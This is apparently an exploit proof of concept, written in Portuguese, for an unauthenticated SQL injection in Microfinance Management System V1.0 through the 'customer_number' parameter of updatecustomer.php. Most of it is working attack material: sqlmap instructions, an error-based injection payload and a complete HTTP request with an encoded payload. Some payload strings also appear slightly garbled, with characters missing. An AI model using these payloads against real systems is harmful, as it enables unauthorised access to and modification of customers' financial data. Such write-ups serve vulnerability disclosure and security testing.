
Prova de conceito de exploit para uma vulnerabilidade de injeção de SQL não autenticada no Microfinance Management System V1.0, permitindo extração remota de dados por meio do parâmetro customer_number.
Microfinance Management System V1.0 Vulnerability de Injeção SQL (Não Autenticado)
O Sistema de Gestão de Microfinanças permite Injeção SQL através do parâmetro 'customer_number' em /mims/updatecustomer.php. Explorar este problema pode permitir que um atacante comprometa a aplicação, aceda ou modifique dados, ou explore vulnerabilidades latentes na base de dados subjacente.
No Burpsuite intercete o pedido da página afetada com o parâmetro 'customer_number' e guarde-o como poc.txt. Depois execute o SQLmap para extrair os dados da base de dados:
sqlmap.py -r poc.txt --dbms=mysql
(baseado em erro)
customer_number=-5361' OR 1 GROUP BY CONCAT(0x716a786271,(SELECT (CASE WHEN (6766=6766) THEN 1 ELSE 0 END)),0x7171716a71,FLOOR(RAND(0)*2)) HAVING MIN(0)#),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
GET /mims/updatecustomer.php?customer_number=-1%27%20and%206%3d3%20or%201%3d1%2b(SELECT%201%20and%20ROW(1%2c1)%3e(SELECT%20COUNT()%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)2))x%20FROM%20INFORMATION_SCHEMA.COLLATIONS%20GROUP%20BY%20x)a)%2b%27 HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Cookie: PHPSESSID=rf50l831r3vn4ho0g6aef189bt
Referer: http://localhost/mims/managecustomer.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36